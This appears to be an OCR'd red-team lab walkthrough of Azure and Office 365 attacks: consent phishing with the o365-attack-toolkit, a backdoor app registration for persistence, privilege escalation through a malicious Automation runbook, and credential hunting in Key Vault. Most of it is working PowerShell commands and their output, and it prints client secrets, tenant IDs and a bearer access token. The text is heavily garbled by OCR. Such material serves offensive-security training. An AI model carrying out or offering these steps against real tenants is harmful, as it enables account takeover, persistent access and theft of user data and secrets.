/2 Tranhlachantinn



Step 4 : Full Information about Registered Application.

Microsoft Azure R Search resources, services, and docs (G+/) 3%;%%&??;23{:;2%?5" &

Home > Default Directory >

i phish-app » - X

I,OlSearch (Ctrl+/) I « [i] Delete @& Endpoints Preview features

o~ -

- :
i Overview
\ Essentials

& Quickstart
) Display name : phish-app Client credentials : 0 certificate, 1 secret
# Integration assistant
Application (client) ID : 13f52a93-32¢0-471¢-9e69-2bf21eb2a1c4 Redirect URIs : 1 web, 0 spa, 0 public client
Manage Object ID : 426e8c6f-2b92-414b-adad-3d7751d3b765 Application ID URI : Add an Application ID URI
B Branding Directory (tenant) ID : 143198c4-77be-42f7-b18e-95¢c5b693e6b9 Managed application in l... : phish-app

B authentication Supported account types : Multiple organizations

Certificates & secrets - ! : : 2 : :
0 Welcome to the new and improved App registrations. Looking to learn how it's changed from App registrations (Legacy)? Learn more

il! Token configuration

- APl permissions o Starting June 30th, 2020 we will no longer add any new features to Azure Active Directory Authentication Library (ADAL) and Azure AD Graph. We will continue to provide technical support and security updates &

i but we will no longer provide feature updates. Applications will need to be upgraded to Microsoft Authentication Library (MSAL) and Microsoft Graph. Learn more
Expose an API

&4 App roles

A\ Starting November 9th, 2020 end users will no longer be able to grant consent to newly registered multitenant apps without verified publishers. Add MPN ID to verify publisher s
&8 Owners
& Roles and administrators | Get Started Documentation
Preview
Manifest

Build your application with the Microsoft identity platform

Support + Troubleshooting

S meiklachRARGE The Microsoft identity platform is an authentication service, open-source libraries, and application management tools. You can create modern, ¥



Step 5 : 0365 Phishing Toolkit Configuration.

GNU nano 2.9. template.conf

lIserver]

host = 127.0.0.1

externalport 2244
#fcertificate certificate.crt
#key = private.keyl}
internalport 8080

[oauth]

clientid = cf460f87-e20e-472d-a3fa-6ae489859bb5
clientsecret = Ed~7Q~NpUTkczv3YikF40hT.0Zq_r9Xg5TWPy

scope = "contacts.read User.ReadBasic.All"

redirecturi = "https://phish.atomic-nuclear.site/gettoken"

# Settings for a TLS enabled server.
server {
listen 443 ss1 http2;
listen [::]1:443 ss1 http2;
server_name _;
root /usr/share/nginx/html;

ssl_certificate "/etc/nginx/cert.crt";
ssl_certificate_key "/etc/nginx/cert.key";Jj

# Load configuration files for the default server block.
include /etc/nginx/default.d/*.conf;

location = / {

proxy_pass http://localhost:2244;
}

location = /gettoken {

proxy_pass http://localhost:2244/gettoken;




Step 6 : Start 0365 Phishing Server and Serve Phishing Content

Jo365-attack-toolkit

[root@ip-172-31-7-191 o365-attack-toolkit]# 1s
ca_bundle.crt t db.sqlite.sql Gopkg.toml main.go o0365-attack-toolkit private.key
1‘tati README . md template.conf

certificate.crt db.sqlite Gopkg.lock Lm
[root@ip-172-31-7-191 o365-attack-toolkit]# ./0365-attack-toolkit
2021/09/29 13:34:42 Starting Internal Server on 127.0.0.1:8080
2021/09/29 13:34:42 Starting External Server on 127.0.0.1:2244
2021/09/29 13:34:42 Failed updating token for admin@myhackeronline.onmicrosoft.com

Step 7 : Capture Stolen User Access Token and Access User Resource with Stolen Access Token

http://127.0.0.1:4444

“ C @ 127.00.1:4444 * O » @ :

Home About @ Get URL

0365-attack-toolkit

Users

# Name E-mail E-mails Files

Manish Gupta admin@myhackeronline.onmicrosoft.com Search E-mails ~ Send E-mail Search Files ~ View Files




EXERCISE : Azure - 2

Persistence by Service Principal App Role Permission
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Step 1 : Authenticate to Azure AD using compromised Credential.

Connect-AzureAD

LN Administrator: Windows PowerShell
PS C:\Users\Admin\Desktop> Connect-AzureAD

Account Environment Tenantld TenantDomain AccountType

azure-global-admin@atomic-nuclear.site AzureCloud 143198c4-77be-42f7-b18e-95c5b693e6b9 atomic-nuclear.site User

PS C:\Users\Admin\Desktop>

Step 2 : Get the information about current logged In session.

Get-AzureADCurrentSessioninfo

LN Administrator: Windows PowerShell - O X

PS C:\Users\Admin\Desktop> Get-AzureADCurrentSessionInfo

Account Environment Tenantld TenantDomain AccountType

azure-global-admin@atomic-nuclear.site AzureCloud 143198c4-77be-42f7-bl8e-95c5b693e6b9 atomic-nuclear.site User
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Step 3 : Get the information about Azure AD Directory Roles.
Get-AzureADDirectoryRole

EN Administrator: Windows PowerShell — O X
PS C:\Users\Admin\Desktop> Get-AzureADDirectoryRole

DisplayName Description

3ebddeed-3290-47b2-8c81-a6ada209657e Directory Readers Can read basic directory information...

664f8b57-19df-4893-91f2-6657¢c3d27b5c Global Administrator Can manage all aspects of Azure AD a...
aa/fad9f-abdc-43ae-aab7-88bcb94ad59%e Directory Synchronization Accounts Only used by Azure AD Connect service.
e24c5582-aa5b-4b44-9fb7-8bd36ad478c5 Azure AD Joined Device Local Administrator Users assigned to this role are adde...

Step 4 : List of members of a specified azure ad role.

Get-AzureADDirectoryRoleMember -Objectld 664f8b57-19df-4893-91f2-6657c3d27b5

PS C:\Users\Admin\Desktop> Get-AzureADDirectoryRoleMember 6641f8b57-19df-4893-91f2-6657c3d27b5c

Objectld DisplayName UserPrincipalName

7bd36bda-8c9a-4e36-a289-96ed94e8552¢c Azure-Global-Admin azure-global-admin@atomic-nuclear.site Member
98alcBf6-853d-4aac-bce5-9412¢c3151182 Manish manish@atomic-nuclear.site Member
eff1lc8fd-1f2d-45e6-9ac9-b681a9b45b36 On-Premise-Admin  on-premise-admin@atomic-nuclear.site  Member
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Step 5 : Create / Register a new azure ad application in the victim tenant using compromised credential.

< C @& portal.azure.com/#blade/Microsoft AAD_IAM/ActiveDirectoryMenuBlade/RegisteredApps

azure-global-admin@at...

Microsoft Azure L Search resources, services, and docs (G+/)

Home > Default Directory >

Register an application

* Name

The user-facing display name for this application (this can be changed later).

Persistence-app v

Supported account types

Who can use this application or access this API?

@ Accounts in this organizational directory only (Default Directory only - Single tenant)

O Accounts in any organizational directory (Any Azure AD directory - Multitenant)

O Accounts in any organizational directory (Any Azure AD directory - Multitenant) and personal Microsoft accounts (e.g. Skype, Xbox)

O Personal Microsoft accounts only

Help me choose...

Redirect URI (optional)

We'll return the authentication response to this URI after successfully authenticating the user. Providing this now is optional and it can be
changed later, but a value is required for most authentication scenarios.

| Web N ‘ ‘ e.g. https://example.com/auth

By proceeding, you agree to the Microsoft Platform Policies

DEFAULT DIRECTORY (ATOMIC-N...
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Step 6 : Add a secret to newly created azure ad application and retrieve the secret value.

Home >

¢ @ portal.azure.com/#blade/Microsoft AAD_RegisteredApps/ApplicationMenuBlade/Credentials/quickStartType//sourceType/Microsoft AAD_IAM/appld/19894bf7-4465-4a1a-a135-77208f3af342/0bj... ¥¢ O *» @ :

Microsoft Azure

£ Search resources, services, and docs (G+/)

Default Directory > Persistence-app

o Persistence-app | Certificates & secrets =

| L Search (Ctrl+/)

| «

-
&

-
r

Overview
Quickstart

Integration assistant

Manage

=

Branding
Authentication

Certificates & secrets

| Token configuration

API permissions
Expose an API
App roles
Owners

Roles and administrators |
Preview

Manifest

Support + Troubleshooting

2

Troubleshooting

-

Q Got feedback?

Certificates

Certificates can be used as secrets to prove the application’s identity when requesting a token. Also can be referred to as public keys.

T Upload certificate

Thumbprint Start date Expires Certificate ID

No certificates have been added for this application.

Client secrets

A secret string that the application uses to prove its identity when requesting a token. Also can be referred to as application password.

+ New client secret

Description Expires Value Secret ID

Password uploaded on Sat Oct 02 2021 4/2/2022 uKc7Q~ADFOszieRsQdLryEhvrUjAaH_erX-... [} 8ff0acOe-c3a0-402d-9¢92-fb9662869df0

® 3 0

i |

&

azure-global-admin@at...
DEFAULT DIRECTORY (ATOMIC-N...




Step 7 : Grant Admin Consent to application of the victim azure ad directory.

< C @ portal.azure.com/#blade/Microsoft AAD_RegisteredApps/ApplicationMenuBlade/CallAnAPl/appld/19894bf7-4465-4a1a-a135-77208f3af342/isMSAApp/ #« O *» @ :

Microsoft Azure R Search resources, services, and docs (G+/) azure-global-admin@at... @
DEFAULT DIRECTORY (ATOMIC-N... @

N

Home > Default Directory > Persistence-app

- Persistence-app | APl permissions % - X

|,0 Search (Ctrl+/) ’ « () Refresh Q Got feedback?

(113 w -
#®  Overview

Grant admin consent confirmation.

& Quickstart Do you want to grant consent for the requested permissions for all accounts in Default Directory? This will update any existing admin consent records this application already has to match what is
P . . listed below.
# Integration assistant
Yes | No ’
Manage .
SEUERISE R SIIE SR —
& Branding S : 5 g . : g ;
Applications are authorized to call APIs when they are granted permissions by users/admins as part of the consent process. The list of configured permissions should include
9 Authentication all the permissions the application needs. Learn more about permissions and consent
Certificates & secrets -+ Add a permission / Grant admin consent for Default Directory
{l! Token configuration 82 & ;
g API / Permissions name Type Description Admin consent requ... Status
> e
APl permissions \ Microsoft Graph (1) e
@ E AP oo '
et User.Read Delegated  Sign in and read user profile No e

&4 App roles
&8 Owners ) o ) o
To view and manage permissions and user consent, try Enterprise applications.

& Roles and administrators |
Preview

[l Manifest

Support + Troubleshooting

2 Troubleshooting



Step 8 : Admin Consent Granted on azure ad tenant / directory level.

< C @ portal.azure.com/#blade/Microsoft AAD_RegisteredApps/ApplicationMenuBlade/CallAnAPl/appld/19894bf7-4465-4a1a-a135-77208f3af342/isMSAApp/ # O *» @

i i S 57 azure-global-admin@at... @
Microsoft Azure AL Search resources, services, and docs (G+/) Iy @ B0 K ol et o]

Home > Default Directory > Persistence-app @ Gt . X
rant consen

- Persistence-app | APl permissions 2 - Grant consent successful

|/O Search (Ctrl+/) ‘ « O Refresh Q Got feedback?

3 i . oo
. Overnes o Successfully granted admin consent for the requested permissions.
& Quickstart

» Integration assistant

0 The "Admin consent required” column shows the default value for an organization. However, user consent can be customized per permission, user, or app. This column may not reflect the value in your organization, or in

Manage organizations where this app will be used. Learn more
&2 Branding
D Authentication Configured permissions
Cirtificates 8 secrets Applications are authorized to call APIs when they are granted permissions by users/admins as part of the consent process. The list of configured permissions should include

all the permissions the application needs. Learn more about permissions and consent
{l! Token configuration

e -+ Add a permission v/ Grant admin consent for Default Directory
-9~ APl permissions

& Expose an API API / Permissions name Type Description Admin consent requ... Status

#5 App roles  Microsoft Graph (1) see

&8 Owners User.Read Delegated  Sign in and read user profile No @ Granted for Default Dire | +++

ai» Roles and administrators |

Preview
To view and manage permissions and user consent, try Enterprise applications.

Manifest

Support + Troubleshooting

2 Troubleshooting



Step 9 : List of application permission assigned to azure ad app with admin consent.

< C & portal.azure.com/#blade/Microsoft AAD_RegisteredApps/ApplicationMenuBlade/CallAnAPl/appld/19894bf7-4465-4a1a-a135-77208f3af342/isMSAApp/ * 0O * @ :

i : S 57 azure-global-admin@at... @
Microsoft Azure LR Search resources, services, and docs (G+/) Iy @ 2 @ K b achatibongl

N

Home > Default Directory > Persistence-app

- Persistence-app | APl permissions 2 - %

|/O Search (Ctrl+/) ’ « O Refresh Q Got feedback?

N i < -
® Overview 6 Successfully granted admin consent for the requested permissions.

& Quickstart =
. API / Permissions name Type Description Admin consent requ... Status
# Integration assistant
Vv Microsoft Graph (15) b
Manage :
Application.Read.All Application  Read all applications Yes @ Granted for Default Dire | +++
& Branding o ) ;
Application.ReadWrite. All Application Read and write all applications Yes @ Granted for Default Dire | +++
2 Authentication ) :
Directory.Read.All Application Read directory data Yes @ Granted for Default Dire | =++
Certificates & secrets 5
Directory.ReadWrite. All Application Read and write directory data Yes @ Granted for Default Dire | +++
:l" Token configuration :
Group.Read All Application  Read all groups Yes @ Granted for Default Dire | +++
- APl permissions ) 2
Group.ReadWrite All Application Read and write all groups Yes @ Granted for Default Dire | +++
& Expose an API o s ey ) :
Organization.Read.All Application Read organization information Yes @ Granted for Default Dire | =++
B5 App roles o ) ) . . :
Organization.ReadWrite.All Application Read and write organization information Yes @ Granted for Default Dire | +++
&8 Owners ;
RoleManagement.Read.All Application Read role management data for all RBAC providers Yes @ Granted for Default Dire | +++
&« Roles and administrators | o :
- User.Export.All Application  Export user's data Yes @ Granted for Default Dire | +++
Bl Manifest User.Invite.All Application  Invite guest users to the organization Yes @ Granted for Default Dire | =++
User.Manageldentities.All Application Manage all users' identities Yes @ Granted for Default Dire | +++
Support + Troubleshooting
User.Read Delegated  Sign in and read user profile No @ Granted for Default Dire | +++
2 Troubleshooting
User.Read.All Application  Read all users' full profiles Yes @ Granted for Default Dire | +++ o

®
]

U Nlaw crimmart reamiiact

.



Step 10 : Get the Application ID of registered backdoor app.

Get-AzureADApplication -SearchString Persistence-APP1

PS C:\Users\Admin\Desktop> Get-AzureADApplication Persistence-APP1

ObjectlId DisplayName

311b7ad9-41b6-4ale-82db-88e7bc58c637 e76deb04-7529-41dd-b4b4-9a4d69dlabBc Persistence-APP1

Step 11 : Retrieve Access Token from MS OAuth Endpoint with app id & secret.

n$tenantld = “143198c4-77be-42f7-b18e-95¢c5b693e6b9”

$appClientld="e76de604-7529-41dd-b4b4-9a4d69d1ab0c”

$clientSecret = “T+L8LgbESUWEBI+I4xyJIGIHil+wXW/oxNgGF6LMVxw="

$requestBody =
@{client_id=%appClientld;client_secret=$clientSecret;grant_type="client_credentials";scope="https://graph.microsoft.com/.default";}
$oauthResponse = Invoke-RestMethod -Method Post -Uri https://login.microsoftonline.com/$tenantld/oauth2/v2.0/token -Body
$requestBody

$accessToken = $oauthResponse.access_token
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E¥ Administrator: Windows PowerShell

PS C:\Windows\system32> $tenantIld
PS C:\Windows\system32> $appClientId
PS C:\Windows\system32> $clientSecret
PS C:\Windows\system32> $requestBody = @{client_id=%appClientld;client_secret=%clientSecret;grant_type

; scope H
PS C:\Windows\system32> $oauthResponse Invoke-RestMethod ' Post https://login.microsoftonline.com/$tenantid
Joauth2/v2.0/token $requestBody
PS C:\Windows\system32> $accessToken $oauthResponse.access_token
PS C:\Windows\system32> $accessToker
eyJOeXAiOiJKV1QilLCJub25jZSI16Im5FWIXTEpoWU92c3RZemZmbS1wN2t1VOFqaXhXRjBuY21GTWVKVIBISHMiLCIhbGciOiJSUzIINiIsIngldCI6Imwz
clETNTBjQOgOeEJWWkxIVEd3bINSNzZYAMCIsImtpZCI6Imwzc1EENTBjQ0Og0eE JWWkXIVEd3b1INSNZzYAMCI9 . eyJhdWQiOiJodHRwczovl 2dyYXBoLmlpY3]
vc29mdC5jb20ilLCIpc3MiOiJodHRwczovL 3NOcy53alW5kb3dzLm51dC8xNDMXOThjNCO3N2I1LTQyZjctYFJEAZSOSNWMLY JYSM2U2Y jkvIiwiaWFOI joxNjN
zMTgxMzUwLCIuYmYi0jE2MzMxODEzZNTAS ImVAcCIOMTYZMZEANTIIMCwiYW1lvIjoiRTJaZ11GZzNaYytYcFZmNDJYaVVoRDUvdGdqZ013QT0iLCIhcHBFZG1
zcGxheW5hbWUi0iJQZXJzaXNOZW5j ZS1BUFAXTiwiYXBwaWQiOiJ1INzZkZTYwNCO3NTISLTOxZGQtYjRINCOSYTRKN 1kMWFiIMGMiLCJhcHBpZGFjciIb6IjE
iLCJpZHAiIOiJodHRwczovL3NOcy53aWS5kb3dzLm51dC8xNDMXOThjNCO3N2I1LTQyZjctYJE4ZSOSNWMLY JYSM2U2Y jkvIiwialWROeXAiOiJhcHAILCIvalQ)
i0iTyN2V1ZjkONC1hN2IKkLTRAYTETYWI2NCOSYZI2NTFhMTd1ZWIilClyaCI6ljAuQVhBOXhKZ3hGTDUZzOTBLeGpwiWEZOcFBtdVFUbWI1Y3BkZDFCAEXTYVR
Xb1lIxd3h3QUFBLiIsInN1YiI6IjI3ZWVmOTQOLWE3YmQtNGFhMS1hYjYOLT1 jMjYIMWEXN2V1YiIsInR1bmFudF9yZWdpb25fc2NvcGUiO0iIBUyIsInRpZCI
61FEOMzESOGMOLTc3YmUENDImNy1iMTh1LTkl1YzViNjkzZTZiOSIsInVOaSI6I1R3dOZpZilyRGt5UjBoRUTMMWAWQUELILCI2ZXTi0iIxLjAiLCI3aWRzIjp
bIjASOTdhMWQwWL TBKMWQENGFFYiliNDAALWQ1Y2E3MzEyMWUSMCIdALCI4bXNFdGNkdCIOMTYyOTk4AMzYwMNnO . cGAPZ -gvBUFFv3jwRISnpKzEThcKimGzxAb
dHVYFjuQr7CF1VOhfZZ67Xb_vIRQnpCEnQRgb2M3Fabtsiquk_m5I8kUCP3dCQGDGGlybWycZ7kFoEgrym8 Jjq8VLIQbjzasOGRSejsldjn_9K0OSbDVebo
Auon9YbgZhaYGdsII55kmljPdltIv-CbwFAa_ vx1VPwvDAxmdBq7mJEQhoNxB88Psba231Ici/VHWOYGXunsGPPTSbe n882IScHx1dr8DJSxic2UzoYQOh2Nh
yKm-HfILb Mnqu82c43JUvdoBiFvVWvs2uN_ HsBMom@D3TGq9TXCsTylc4AMRPUXbQUA
PS C:\Windows\system32>




Step 12 : Authenticate to Microsoft Graph API using access token.

$apiUrl = "https://graph.microsoft.com/v1.0/users"

Susers = Invoke-RestMethod -Headers @{Authorization = "Bearer $accessToken"} -Uri $apiUrl -Method Get

E¥ Administrator: Windows PowerShell

PS C:\Windows\system32> $apilrl
PS C:\Windows\system32> $users Invoke-RestMethod @{Authorization
PS C:\Windows\system32> $users.value

@odata.id : https://graph.microsoft.com/v2/143198c4-77be-42f7-b18e-95c5b693e6b9/directoryObjects/9e892de7-4eab-
4230-8d43-98e12e245475 /Microsoft.DirectoryServices.User

businessPhones =¥

displayName : Admin

givenName

jobTitle

mail

mobilePhone

officelocation

preferredlLanguage :

surname

userPrincipallName : admin@atomic-nuclear.site

id : 9e892de7-4eab-4a30-8d43-98e12e245475

@odata.id : https://graph.microsoft.com/v2/143198c4-77be-42f7-b18e-95c5b693e6b9/directoryObjects/7bd36bda-8c9a-
4e36-a289-96ed94e8552¢c /Microsoft.DirectoryServices.User

businessPhones B

displayName : Azure-Global-Admin

givenName : Azure



https://graph.microsoft.com/v1.0/users

EXERCISE : Azure - 3

Privilege Escalation by Exploiting Azure Automation Accounts
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Step 1: Logged in as least privilege user.

Login-AzAccount

E¥ Windows PowerShell

Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Users\Admin> Login-AzAccount
SubscriptionName TenantId Environment

least-priv@atomic-nuclear.site Pay-As-You-Go 143198c4-77be-4217-b18e-95¢c5b693e6b9 AzureCloud

Step 2 : Get the current logged in user subscription.

Get-AzSubscription

N Windows PowerShell — O X
PS C:\Users\Admin> Get-AzSubscription

Name Id TenantId

Pay-As-You-Go 3c975794-9afd-498e-9f3b-719c322817b0 143198c4-77be-4217-b18e-95c5b693e6b9 Enabled
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Step 3 : Get the role assignment on subscription level.

Get-AzRoleAssignment

LN Windows PowerShell
PS C:\Users\Admin> Get-AzRoleAssignment

RoleAssignmentId : [subscriptions/3c975794-9afd-498e-9f3b-719c322817b0/providers/Microsoft.Authorization/roleAssignme
nts/d7cf7a93-20a3-4313-983¢c-0b35930abb42

Scope : /subscriptions/3c975794-9afd-498e-9f3b-719c322817b0O

DisplayName : Prod-AA utNw+glJIPOttaPc/3agXIxEEirkxwlICzNR11iz1J0k=

SignInName -

RoleDefinitionName : Contributor

RoleDefinitionId : b24988ac-6180-42a0-ab88-20f7382dd24c

ObjectId : afb38bdd-7672-49ba-98e5-88e8abb5a404

ObjectType : ServicePrincipal

CanDelegate : False

Description -

ConditionVersion

Condition

RoleAssignmentId : /subscriptions/3c975794-9afd-498e-9f3b-719¢c322817b8/providers/Microsoft.Authorization/roleAssignme
nts/c449bblf-lefa-4edf-9c64-debed7c98b25

Scope : /subscriptions/3c975794-9afd-498e-9f3b-719c322817b0O

DisplayName : Least Priv

SignInName : least-priv@atomic-nuclear.site

RoleDefinitionName : Automation Contributor

RoleDefinitionId : ¥353d9bd-d4a6-484e-a77a-8050b599b867

ObjectId : 950e23a5-1487-484f -aeee-b8abf+532359

ObjectType : User

CanDelegate : False

Description

ConditionVersion

Condition




Step 4 : Get the information about automation account.

Get-AzAutomationAccount

Subscriptionld : 3¢975794-9atd-498e-9f3b-719¢322817b0
ResourceGroupName : CHMRTS-Prod-RG

AutomationAccountName : Prod-AA

Location : eastus

State

Plan

CreationTime : 99-10-2021 00:32:42 -07:00
LastModifiedTime : 99-10-2021 00:32:42 -07:00
LastModifiedBy -

Tags S 8

Identity

Encryption

PublicNetworkAccess
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Step 5 : List of Run Books in an automation account.

Get-AzAutomationRunbook -AutomationAccountName Prod-AA -ResourceGroupName CHMRTS-Prod-RG

PS C:\Users\Admin> Get-AzAutomationRunbook CHMRTS-Prod-RG

Location

Parameters
LogVerbose
LogProgress
LastModifiedBy
State
ResourceGroupName
AutomationAccountName
Name

CreationTime
LastModifiedTime
Description

ResourceGroupName
AutomationAccountName
Name

CreationTime
LastModifiedTime

LogProgress
LastModifiedBy

State
ResourceGroupName
AutomationAccountName
Name

CreationTime
LastModifiedTime
Description

2ot
: False
False

eastus
{7
0

: GraphPowerShell

{3

False
False

Published
CHMRTS-Prod-RG
Prod-AA

: AzureAutomationTutorial

09-10-2021 ©0:32:50 -07:00
09-10-2021 ©0:32:50 -07:00

eastus
{3
%]

Python2

Published
CHMRTS-Prod-RG
Prod-AA

: AzureAutomationTutorialPython2

09-10-2021 ©06:32:51 -07:00
09-10-2021 ©0:32:51 -07:00

eastus

{7

0
PowerShell

{3

False
False

Published
CHMRTS-Prod-RG
Prod-AA

: AzureAutomationTutorialScript

09-10-2021 ©0:32:51 -07:00
09-10-2021 ©0:32:51 -07:00




Step 6 : Get the information about Certificate, Credential & Connections in automation account.

Get-AzAutomationCertificate, Get-AzAutomationCredential, Get-AzAutomationConnection

PS C:\Users\Admin> Get-AzAutomationCertificate CHMRTS-Prod-RG

: 6E458908CO4FBOD98C9C3D6FOFFCCFOO3DBI399F
: True
: 08-10-2022 17:00:00 -07:00
ResourceGroupName : CHMRTS-Prod-RG
AutomationAccountName : Prod-AA
: AzureRunAsCertificate
: 09-10-2021 00:33:07 -07:00
: 09-10-2021 00:33:07 -07:00
: This certificate is used to authenticate with the service principal that was automatically created for this account. For details on this service principal and certificate, or to recreate them, go to this
account’s Settings. For example usage, see the tutorial runbook in this account.

PS C:\Users\Admin> Get-AzAutomationCredential ; CHMRTS-Prod-RG

UserName : prod-user
ResourceGroupName : CHMRTS-Prod-RG
AutomationAccountName : Prod-AA

Name : Prod-Credential
CreationTime : 99-10-2021 02:45:31 -07:00
LastModifiedTime : 09-10-2021 02:45:31 -07:00
Description -

PS C:\Users\Admin> Get-AzAutomationConnection v CHMRTS-Prod-RG

ConnectionTypeName

FieldDefinitionValues :
: CHMRTS-Prod-RG

ResourceGroupName

JAutomationAccountName :
: AzureRunAsConnection
: 09-10-2021 00:33:08 -07:00
: 09-10-2021 00:33:08 -07:00

Name
iCreationTime

LastModifiedTime

Description

: AzureServicePrincipal

i}

Prod-AA




Step 7 : Runbook which contains Privilege Escalation code.

Get-AzAutomationRunbook -AutomationAccountName Prod-AA -ResourceGroupName CHMRTS-Prod-RG

PS C:\Users\Admin\Desktop\runbook> 1ls

Directory: C:\Users\Admin\Desktop\runbook

LastWriteTime Length Name

09-10-2021 333 552 PrivEsc-Runbook.psl

PS C:\Users\Admin\Desktop\runbook> cat .\PrivEsc-Runbook.psl
$connectionName = "AzureRunAsConnection™
# Get the connection "AzureRunAsConnection
$servicePrincipalConnection=Get-AutomationConnection -Name $connectionName
"Logging in to Azure..."
Connect-AzAccount ~
-ServicePrincipal ~
-TenantIld $servicePrincipalConnection.Tenantld °
-ApplicationId $servicePrincipalConnection.ApplicationIld ~
-CertificateThumbprint $servicePrincipalConnection.CertificateThumbprint

$context = Get-AzContext

Get-AzADServicePrincipal -Applicationld $context.Account.Id




Step 8 : Import Malicious Runbook [Which contains privilege escalation code] into automation account.

Import-AzAutomationRunbook -ResourceGroupName CHMRTS-Prod-RG -AutomationAccountName Prod-AA -Path
PrivEsc-Runbook.ps1 -Type PowerShell -Name PriveEsc-Runbook

S C:\Users\Admin\Desktop\runbook> Import-AzAutomationRunbook CHMRTS-Prod-RG Prod-AA PrivEsc-Runbook.psl PowerShell PriveEsc-Runbook

Location

Tags

JobCount
RunbookType
Parameters
LogVerbose
LogProgress
LastModifiedBy
State
ResourceGrouphame

AutomationAccounthName :
: PriveEsc-Runbook
1 09-10-2021 13:15:54 -07:00
: 09-10-2021 13:15:54 -07:00

Name
CreationTime
LastModifiedTime
Description

. eastus
s

1 0

: PowerShell
: 4}

: False

: False

. New
: CHMRTS-Prod-RG

Prod-AA
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Step 9 : Again, List of All Run Books in an automation account.

Get-AzAutomationRunbook -AutomationAccountName Prod-AA -ResourceGroupName CHMRTS-Prod-RG

PS C:\Users\Admin\Desktop\runbook> Get-AzAutomationRunbook rc CHMRTS-Prod-RG - { : Prod-AA
Location : eastus

Tags =

JobCount =

RunbookType : GraphPowerShell

Parameters =2t}

LogVerbose : False

LogProgress : False

LastModifiedBy -

State : Edit

ResourceGroupName : CHMRTS-Prod-RG
AutomationAccountName : Prod-AA

Name : AzureAutomationTutorial
CreationTime : 09-10-20621 ©0:32:50 -07:00
LastModifiedTime : 09-10-2021 ©6:32:38 -07:00
Description -

Location : eastus

Tags = £

JobCount : @

RunbookType : Python2

Parameters =t}

LogVerbose : False

LogProgress : False

LastModifiedBy :

State : Published
ResourceGroupName : CHMRTS-Prod-RG
AutomationAccountName : Prod-AA

Name : AzureAutomationTutorialPython2
CreationTime : 99-10-2021 ©0:32:51 -07:00

LastModifiedTime : ©9-10-2021 ©0:32:51 -07:00
Description -




Location

Tags

JobCount
RunbookType
Parameters
LogVerbose
LogProgress
LastModifiedBy
State
ResourceGroupName
AutomationAccountName
Name

CreationTime
LastModifiedTime
Description

Location

Tags

JobCount
RunbookType
Parameters
LogVerbose
LogProgress
LastModifiedBy
State
ResourceGroupName
AutomationAccountName
Name

CreationTime
LastModifiedTime
Description

eastus

18
o

PowerShell
1)

False
False

Edit

CHMRTS-Prod-RG

Prod-AA
AzureAutomationTutorialScript
09-196-2021 ©6:32:51 -07:00
09-106-2021 ©3:29:49 -07:00

eastus

18
o

PowerShell
1)

False
False

New

CHMRTS-Prod-RG

Prod-AA

PriveEsc-Runbook
99-10-2021 13:15:54 -07:00
09-10-2021 13:15:54 -07:00




Step 10 : Now Publish Imported Malicious Runbook.

Publish-AzAutomationRunbook -AutomationAccountName Prod-AA -Name PriveEsc-Runbook -ResourceGroupName

CHMRTS-Prod-RG

PS C:\Users\Admin\Desktop\runbook> Publish-AzAutomationRunbook : PriveEsc-Runbook
HMRTS-Prod-RG

Location : eastus
Tags =}
=240

JobCount -

RunbookType : PowerShell

Parameters =43}

LogVerbose : False

LogProgress : False

LastModifiedBy :

State : Published
ResourceGroupName : CHMRTS-Prod-RG
AutomationAccountName : Prod-AA

Name : PriveEsc-Runbook
CreationTime : 09-10-2021 13:15:54 -07:00
LastModifiedTime : 09-10-2021 13:25:52 -07:00
Description -




Step 11 : Start automation account’s runbook job.

$job = Start-AzAutomationRunbook -AutomationAccountName Prod-AA -Name PriveEsc-Runbook -ResourceGroupName

CHMRTS-Prod-RG

E¥ Windows PowerShell ™ O K

PS C:\Users\Admin\Desktop\runbook> $job Start-AzAutomationRunbook PriveEsc-Runbook
CHMRTS-Prod-RG

PS C:\Users\Admin\Desktop\runbook>

Step 12 : View the output of the executed malicious runbook code for privilege escalation.

$output = Get-AzAutomationJobOutput -AutomationAccountName Prod-AA -Id $job.Jobld -ResourceGroupName
CHMRTS-Prod-RG -Stream output | Get-AzAutomationJobOutputRecord

PS C:\Users\Admin\Desktop\runbook> $output Get-AzAutomationJobOutput
HMRTS-Prod-RG : output | Get-AzAutomationJobOutputRecord
PS C:\Users\Admin\Desktop\runbook> $output.Value

Name

value Logging in to Azure...
Environments {AzureChinaCloud, AzureCloud, AzureGermanCloud, AzureUSGovernment}

Context {Name, Account, Environment, Subscription...}
Applicationld 60bec8a8-2343-412a-8c80-030cc551a658

Id afb38bdd-7672-49ba-98e5-08e8abb5a404
ServicePrincipalNames 1}

Type ServicePrincipal

ObjectType ServicePrincipal

DisplayName Prod-AA utNw+glJPOttaPc/3agXIxEEirkxwlICzNR11iz1J0k=
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EXERCISE : Azure -4

Credential Hunting from Azure Key Vault
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Step 1: Login to Az module with compromised service principal credential
$cred = Get-Credential
Login-AzAccount -ServicePrincipal -Subscription 3c975794-9afd-498e-9f3b-719¢322817b0 -Tenant
143198c4-77be-42f7-b18e-95c5b693e6b9 -Credential $cred

PS C:\Windows\system32> $cred Get-Credential

cmdlet Get-Credential at command pipeline position 1

Supply values for the following parameters:

Credential

PS C:\Windows\system32> Login-AzAccount . 3c975794-9atd-498e-9f3b-719¢322817b0
3198c4-77be-42f7-b18e-95c5b693e6b9 : $cred

WARNING: The provided service principal secret will be included in the ‘AzureRmContext.json’ file found in the user
profile ( C:\Users\Admin\.Azure ). Please ensure that this directory has appropriate protections.

SubscriptionName TenantId Environment

6912d753-18c2-4b50-abd7-4bfae72a9482a Pay-As-You-Go 143198c4-77be-4217-b18e-95c5b693e6b9 Azurelloud

Step 2 : Get the information about current logged in subscription.

Get-AzSubscription

PS C:\Windows\system32> Get-AzSubscription

Name Id TenantId

Pay-As-You-Go 3c975794-9afd-498e-9f3b-719c322817b0 143198c4-77be-4217-b18e-95c5b693e6b9 Enabled
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Step 3 : Get the information about the resource group in current subscription.

Get-AzResourceGroup

PS C:\Windows\system32> Get-AzResourceGroup

ResourceGroupName : CHMRTS-Prod-RG

Location : eastus

ProvisioningState : Succeeded

Tags :

Resourceld : /subscriptions/3c975794-9afd-498e-9f3b-719c322817b8/resourceGroups/CHMRTS-Prod-RG

Step 4 : Get the information about the Azure Key Vault in resource group of the current subscription .

Get-AzKeyVault

PS C:\Windows\system32> Get-AzKeyVault

Vault Name : Prod-Test-Key-Vault

Resource Group Name : CHMRTS-Prod-RG

Location : eastus

Resource ID : /subscriptions/3c975794-9afd-498e-9f3b-719¢322817b0/resourceGroups/CHMRTS-Prod-RG/providers/Micro
soft.KeyVault/vaults/Prod-Test-Key-Vault

Tags

